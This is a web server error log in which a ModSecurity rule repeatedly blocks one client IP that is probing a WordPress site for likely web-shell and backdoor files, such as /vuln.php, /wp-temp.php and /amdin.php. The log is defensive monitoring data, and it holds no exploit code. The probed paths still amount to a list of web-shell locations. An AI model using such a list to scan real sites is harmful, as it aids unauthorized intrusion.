[Tue Apr 28 19:47:14.280456 2026] [:error] [pid 33776:tid 33830] [client 68.221.203.83:8328] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/blocks/details/"] [unique_id "afCeQl-bEJ2CKP3iKAAtYgAAAFY"]
[Tue Apr 28 19:47:14.951355 2026] [:error] [pid 2741:tid 2746] [client 68.221.203.83:57831] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.dj/index.php"] [unique_id "afCeQvp92FeOz1h6ILznLQAAAUA"]
[Tue Apr 28 19:47:15.572855 2026] [:error] [pid 2741:tid 2763] [client 68.221.203.83:18611] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.dj/index.php"] [unique_id "afCeQ_p92FeOz1h6ILznMAAAAVE"]
[Tue Apr 28 19:47:16.273830 2026] [:error] [pid 33776:tid 33816] [client 68.221.203.83:20680] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.dj/index.php"] [unique_id "afCeRF-bEJ2CKP3iKAAtYwAAAEg"]
[Tue Apr 28 19:47:16.761368 2026] [:error] [pid 33777:tid 33847] [client 68.221.203.83:23106] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.dj/index.php"] [unique_id "afCeRLXUCFWqmordGGLRWAAAAQw"]
[Tue Apr 28 19:47:17.375301 2026] [:error] [pid 33864:tid 33885] [client 68.221.203.83:57213] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/blocks/audio/"] [unique_id "afCeRTXchLGZ4QggCskZwgAAAJM"]
[Tue Apr 28 19:47:18.136606 2026] [:error] [pid 33864:tid 33875] [client 68.221.203.83:20628] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/blocks/audio/"] [unique_id "afCeRjXchLGZ4QggCskZwwAAAIk"]
[Tue Apr 28 19:47:18.713308 2026] [:error] [pid 33777:tid 33841] [client 68.221.203.83:23115] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/blocks/audio/"] [unique_id "afCeRrXUCFWqmordGGLRWgAAAQY"]
[Tue Apr 28 19:47:19.317080 2026] [:error] [pid 33777:tid 33853] [client 68.221.203.83:18574] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/blocks/audio/"] [unique_id "afCeR7XUCFWqmordGGLRXwAAARI"]
[Tue Apr 28 19:47:20.067803 2026] [:error] [pid 33777:tid 33854] [client 68.221.203.83:23146] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.tmb/"] [unique_id "afCeSLXUCFWqmordGGLRYQAAARM"]
[Tue Apr 28 19:47:20.683695 2026] [:error] [pid 33864:tid 33871] [client 68.221.203.83:23158] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.tmb/"] [unique_id "afCeSDXchLGZ4QggCskZxgAAAIU"]
[Tue Apr 28 19:47:21.335379 2026] [:error] [pid 50889:tid 50907] [client 68.221.203.83:57838] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.tmb/"] [unique_id "afCeSYzszBr00txEzGg-YgAAAA8"]
[Tue Apr 28 19:47:22.003067 2026] [:error] [pid 33776:tid 33822] [client 68.221.203.83:57180] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.tmb/"] [unique_id "afCeSl-bEJ2CKP3iKAAtaAAAAE4"]
[Tue Apr 28 19:47:22.966885 2026] [:error] [pid 2741:tid 2769] [client 68.221.203.83:57206] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/one.php"] [unique_id "afCeSvp92FeOz1h6ILznNgAAAVc"]
[Tue Apr 28 19:47:23.619771 2026] [:error] [pid 2741:tid 2765] [client 68.221.203.83:18570] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/one.php"] [unique_id "afCeS_p92FeOz1h6ILznOwAAAVM"]
[Tue Apr 28 19:47:24.501266 2026] [:error] [pid 33775:tid 33792] [client 68.221.203.83:8371] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/one.php"] [unique_id "afCeTJsYOcoQrq88YbUpdQAAAM0"]
[Tue Apr 28 19:47:25.268806 2026] [:error] [pid 33776:tid 33815] [client 68.221.203.83:57156] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/one.php"] [unique_id "afCeTV-bEJ2CKP3iKAAtaQAAAEc"]
[Tue Apr 28 19:47:25.787303 2026] [:error] [pid 33776:tid 33828] [client 68.221.203.83:57165] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/no20.php"] [unique_id "afCeTV-bEJ2CKP3iKAAtagAAAFQ"]
[Tue Apr 28 19:47:26.366074 2026] [:error] [pid 2741:tid 2747] [client 68.221.203.83:57833] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/no20.php"] [unique_id "afCeTvp92FeOz1h6ILznPgAAAUE"]
[Tue Apr 28 19:47:26.975007 2026] [:error] [pid 33776:tid 33812] [client 68.221.203.83:18603] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/no20.php"] [unique_id "afCeTl-bEJ2CKP3iKAAtbAAAAEQ"]
[Tue Apr 28 19:47:27.617721 2026] [:error] [pid 33776:tid 33814] [client 68.221.203.83:20674] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/no20.php"] [unique_id "afCeT1-bEJ2CKP3iKAAtbgAAAEY"]
[Tue Apr 28 19:47:28.267075 2026] [:error] [pid 33776:tid 33809] [client 68.221.203.83:18592] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/yasnu.php"] [unique_id "afCeUF-bEJ2CKP3iKAAtcAAAAEE"]
[Tue Apr 28 19:47:29.043611 2026] [:error] [pid 50889:tid 50911] [client 68.221.203.83:18616] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/yasnu.php"] [unique_id "afCeUYzszBr00txEzGg-gAAAABM"]
[Tue Apr 28 19:47:29.649696 2026] [:error] [pid 2741:tid 2766] [client 68.221.203.83:57809] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/yasnu.php"] [unique_id "afCeUfp92FeOz1h6ILznRgAAAVQ"]
[Tue Apr 28 19:47:30.185577 2026] [:error] [pid 33776:tid 33812] [client 68.221.203.83:20675] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/yasnu.php"] [unique_id "afCeUl-bEJ2CKP3iKAAtfgAAAEQ"]
[Tue Apr 28 19:47:30.694768 2026] [:error] [pid 33864:tid 33872] [client 68.221.203.83:57209] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sl.php"] [unique_id "afCeUjXchLGZ4QggCskZ4QAAAIY"]
[Tue Apr 28 19:47:31.386618 2026] [:error] [pid 2741:tid 2761] [client 68.221.203.83:23121] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sl.php"] [unique_id "afCeU_p92FeOz1h6ILznUQAAAU8"]
[Tue Apr 28 19:47:32.121780 2026] [:error] [pid 33864:tid 33873] [client 68.221.203.83:57813] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sl.php"] [unique_id "afCeVDXchLGZ4QggCskZ5AAAAIc"]
[Tue Apr 28 19:47:32.681154 2026] [:error] [pid 33775:tid 33783] [client 68.221.203.83:23136] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sl.php"] [unique_id "afCeVJsYOcoQrq88YbUpeQAAAMQ"]
[Tue Apr 28 19:47:33.583634 2026] [:error] [pid 33775:tid 33800] [client 68.221.203.83:57802] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/vuln.php"] [unique_id "afCeVZsYOcoQrq88YbUpewAAANU"]
[Tue Apr 28 19:47:34.317175 2026] [:error] [pid 33775:tid 33799] [client 68.221.203.83:57182] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/vuln.php"] [unique_id "afCeVpsYOcoQrq88YbUpfgAAANQ"]
[Tue Apr 28 19:47:35.013759 2026] [:error] [pid 33775:tid 33789] [client 68.221.203.83:57807] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/vuln.php"] [unique_id "afCeV5sYOcoQrq88YbUpgAAAAMo"]
[Tue Apr 28 19:47:35.705894 2026] [:error] [pid 33864:tid 33875] [client 68.221.203.83:57181] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/vuln.php"] [unique_id "afCeVzXchLGZ4QggCskZ5wAAAIk"]
[Tue Apr 28 19:47:36.545856 2026] [:error] [pid 33864:tid 33866] [client 68.221.203.83:18588] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-temp.php"] [unique_id "afCeWDXchLGZ4QggCskZ6AAAAIA"]
[Tue Apr 28 19:47:37.414505 2026] [:error] [pid 33777:tid 33839] [client 68.221.203.83:20726] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-temp.php"] [unique_id "afCeWbXUCFWqmordGGLRZgAAAQQ"]
[Tue Apr 28 19:47:38.420324 2026] [:error] [pid 33777:tid 33844] [client 68.221.203.83:20626] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-temp.php"] [unique_id "afCeWrXUCFWqmordGGLRawAAAQk"]
[Tue Apr 28 19:47:39.009187 2026] [:error] [pid 2741:tid 2770] [client 68.221.203.83:57179] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-temp.php"] [unique_id "afCeW_p92FeOz1h6ILznVwAAAVg"]
[Tue Apr 28 19:47:39.712248 2026] [:error] [pid 33864:tid 33883] [client 68.221.203.83:57819] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/twentytwentyfive/assets/"] [unique_id "afCeWzXchLGZ4QggCskZ7wAAAJE"]
[Tue Apr 28 19:47:40.417632 2026] [:error] [pid 33864:tid 33877] [client 68.221.203.83:57154] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/twentytwentyfive/assets/"] [unique_id "afCeXDXchLGZ4QggCskZ8wAAAIs"]
[Tue Apr 28 19:47:40.985427 2026] [:error] [pid 33864:tid 33886] [client 68.221.203.83:20659] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/twentytwentyfive/assets/"] [unique_id "afCeXDXchLGZ4QggCskZ9gAAAJQ"]
[Tue Apr 28 19:47:41.623867 2026] [:error] [pid 33864:tid 33875] [client 68.221.203.83:18609] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/twentytwentyfive/assets/"] [unique_id "afCeXTXchLGZ4QggCskZ-QAAAIk"]
[Tue Apr 28 19:47:42.324590 2026] [:error] [pid 33777:tid 33847] [client 68.221.203.83:20664] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/blocks/buttons/"] [unique_id "afCeXrXUCFWqmordGGLRfwAAAQw"]
[Tue Apr 28 19:47:42.956287 2026] [:error] [pid 2741:tid 2756] [client 68.221.203.83:57175] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/blocks/buttons/"] [unique_id "afCeXvp92FeOz1h6ILznWQAAAUo"]
[Tue Apr 28 19:47:43.643908 2026] [:error] [pid 33864:tid 33888] [client 68.221.203.83:23128] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/blocks/buttons/"] [unique_id "afCeXzXchLGZ4QggCskZ_AAAAJY"]
[Tue Apr 28 19:47:44.794525 2026] [:error] [pid 33864:tid 33867] [client 68.221.203.83:20677] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/blocks/buttons/"] [unique_id "afCeYDXchLGZ4QggCskZ_gAAAIE"]
[Tue Apr 28 19:47:45.459056 2026] [:error] [pid 33775:tid 33785] [client 68.221.203.83:24927] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class-bda.php"] [unique_id "afCeYZsYOcoQrq88YbUphwAAAMY"]
[Tue Apr 28 19:47:46.095302 2026] [:error] [pid 33775:tid 33800] [client 68.221.203.83:57848] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class-bda.php"] [unique_id "afCeYpsYOcoQrq88YbUpigAAANU"]
[Tue Apr 28 19:47:46.792063 2026] [:error] [pid 33864:tid 33869] [client 68.221.203.83:18586] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class-bda.php"] [unique_id "afCeYjXchLGZ4QggCskaAQAAAIM"]
[Tue Apr 28 19:47:56.955202 2026] [:error] [pid 33777:tid 33859] [client 68.221.203.83:57167] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/amdin.php"] [unique_id "afCebLXUCFWqmordGGLRuwAAARg"]
[Tue Apr 28 19:47:57.740612 2026] [:error] [pid 33776:tid 33830] [client 68.221.203.83:23148] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/amdin.php"] [unique_id "afCebV-bEJ2CKP3iKAAtpAAAAFY"]
[Tue Apr 28 19:47:58.376790 2026] [:error] [pid 33776:tid 33816] [client 68.221.203.83:23162] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/amdin.php"] [unique_id "afCebl-bEJ2CKP3iKAAtpQAAAEg"]
[Tue Apr 28 19:47:58.981738 2026] [:error] [pid 2741:tid 2752] [client 68.221.203.83:18595] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/amdin.php"] [unique_id "afCebvp92FeOz1h6ILznYAAAAUY"]
[Tue Apr 28 19:47:59.494781 2026] [:error] [pid 33776:tid 33820] [client 68.221.203.83:23127] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/huya.php"] [unique_id "afCeb1-bEJ2CKP3iKAAtpwAAAEw"]
[Tue Apr 28 19:48:00.052488 2026] [:error] [pid 33776:tid 33828] [client 68.221.203.83:57844] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/huya.php"] [unique_id "afCecF-bEJ2CKP3iKAAtqQAAAFQ"]
[Tue Apr 28 19:48:00.650110 2026] [:error] [pid 2741:tid 2758] [client 68.221.203.83:57211] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/huya.php"] [unique_id "afCecPp92FeOz1h6ILznYQAAAUw"]
